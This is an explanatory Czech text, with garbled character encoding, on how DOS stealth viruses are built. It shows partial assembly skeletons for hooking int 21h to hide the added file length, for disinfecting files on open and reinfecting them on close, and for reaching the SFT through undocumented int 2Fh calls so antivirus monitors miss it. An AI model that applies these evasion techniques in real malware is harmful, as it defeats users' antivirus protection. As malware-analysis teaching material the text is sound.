Konstrukce stealth vir∙
Stealth viry se aktivnφm zp∙sobem brßnφ prozrazenφ svΘ p°φtomnosti na poΦφtaΦi. Pro ·Φinnost
stealth mechanism∙ musφ virus zajistit, aby jeho t∞lo bylo umφst∞no do pam∞ti rezidentn∞.
Podstatou stealth technik je monitorovßnφ slu₧eb jßdra DOSu pro prßci se soubory, zejmΘna
pak slu₧eb otev°enφ, uzav°enφ a spuÜt∞nφ souboru.
╪ada vir∙ se vyh²bß infikaci antivirov²ch Φi systΘmov²ch program∙. AntivirovΘ programy
majφ na zavirovßnφ vlastnφho t∞la velkou senzitivitu, a proto viry se °ad∞ z nich zßm∞rn∞
vyh²bajφ. Je to jedna z mo₧nostφ, jak se viry brßnφ svΘmu prozrazenφ.
Snahu o minimßlnφ zm∞nu t∞la objektu ·toku demonstruje multipartitnφ virus StarShip, kter²
v tabulce rozd∞lenφ pevnΘho disku (Partition Table) m∞nφ pouze t°i bajty v instrukcφch pro
naΦtenφ boot sektoru (fyzickß adresa - hlava, stopa a sektor).
╚ßsteΦn² stealth mechanismus
╚ßsteΦn² stealth mechanismus maskuje zavirovanou dΘlku souboru. Virus obsahuje p°eruÜenφ jßdra
DOSu (int 21h) a monitoruje funkce otev°enφ nebo vyhledßnφ souboru, kdy operaΦnφmu systΘmu
vracφ dΘlky, tak jako kdyby soubor infikovßn nebyl.
virus_int21h:
cmp ah, 0fh ; sluzba "Otevri soubor pres FCB" ?
je stealth_open_FCB
cmp ah, 11h ; sluzba "Najdi prvni soubor pres FCB" ?
je stealth_FCB
cmp ah, 12h ; sluzba "Najdi dalsi soubor pres FCB" ?
je stealth_FCB
cmp ah, 4eh ; sluzba "Najdi prvni soubor" ?
je stealth_dir
cmp ah, 4fh ; sluzba "Najdi dalsi soubor" ?
je stealth_dir
... dalsi testy ...
stealth_open_FCB:
... volej originalni obsluhu int 21h
... je-li soubor infikovan, pak FCB sniz hodnotu jeho velikosti o virus ...
... dalsi virove manipulace ...
stealth_FCB:
... volej originalni obsluhu int 21h
... zjisti adresu DTA, ve ktere je FCB ulozeno ...
... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
... dalsi virove manipulace ...
stealth_dir:
... volej originalni obsluhu int 21h
... zjisti adresu DTA, ve ktere jsou informace o souboru ulozeny ...
... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
... dalsi virove manipulace ...
V p°φpad∞ nßv∞Ütφ stealth_open_FCB a stealth_FCB se velikost souboru nachßzφ na adrese
FCB[1dh] resp. DTA[1dh], v p°φpad∞ nßv∞Ütφ stealth_dir pak na adrese DTA[1ah]. V₧dy se
jednß o dvojslovo (DWORD). P°i volßnφ funkce 0fh je p°φmo znßma adresa FCB, a proto ji
nenφ pot°eba zjiÜ¥ovat prost°ednictvφm DTA. Stealth FCB dΘlky na ·rovni instrukcφ je uveden
v rßmci konstrukce souborovΘho SYS viru.
┌pln² stealth mechanismus
Principem ·plnΘho stealth mechanismu je rozÜφ°enφ jeho ΦßsteΦnΘ podoby o manipulaci ·plnΘho
odvirovßnφ ₧ßdanΘho souboru p°ed jeho p°edßnφm operaΦnφmu systΘmu a jeho op∞tovnΘho zavirovßnφ
v dob∞, kdy p°φsluÜn² soubor ji₧ nenφ ₧ßdßn resp. je vyvolßn po₧adavek na jeho uzav°enφ.
virus_int21h:
cmp ah, 3dh ; sluzba "Otevri soubor" ?
je stealth
cmp ah, 4bh ; sluzba "Spust souboru - EXEC" ?
je stealth
cmp ah, 6ch ; sluzba "Rozsireneho otevreni souboru" ?
je stealth
cmp ah, 3eh ; sluzba "Uzavri soubor" ?
je infect
... dalsi testy ...
stealth:
... je-li oteviran nebo spusten spustitelny soubor, pak jej odviruj ...
... a predej odvirovany soubor pozadovane sluzbe ...
... dalsi virove manipulace
D∙sledkem ·plnΘho stealth mechanismu je skuteΦnost, ₧e antivirovΘ kontroly nezachytφ p°φtomnost viru,
nebo¥ v dob∞ testovßnφ je virus ze souboru ji₧ odstran∞n.
P°i manipulaci se souborem °ada vir∙ vyu₧φvß nedokumentovan² mechanismus p°φmΘho p°φstupu k souboru
prost°ednictvφm SFT:
mov bx, file_handle ; rukojet souboru
mov ax, 1220h ; sluzba "zjisti cislo SFT"
int 2fh
mov bl, es:di ; cislo SFT (-1 pro neotevreny soubor )
mov ax, 1216h ; sluzba "zjisti adresu SFT"
int 2fh
; adresa ES:DI ukazuje na SFT
Tato posloupnost p°φkaz∙ nynφ umo₧≥uje p°φmou manipulaci s atributy souboru, m≤dem otev°enφ,
nastavenφ ukazatele posunu v souboru Φi manipulaci s datem a Φasem, bez volßnφ slu₧eb jßdra
DOSu (int 21h), a tφm i bez hrozby zachycenφ operacφ antivirov²m hlφdaΦem.
Nap°φklad pro nastavenφ ukazatele posunu na zaΦßtek souboru m∙₧e virus mφsto volßnφ slu₧by DOSu
42h pou₧φt sekvenci:
mov es:[di+15h], 0 ; od offsetu 15h je v tabulce SFT ulozeno
mov es:[di+17h], 0 ; dvojslovo aktualniho posunu v souboru
Podobn∞ pro p°enastavenφ m≤du otev°enφ na zßpis:
mov es:[di+02h], 2 ; read/write m≤d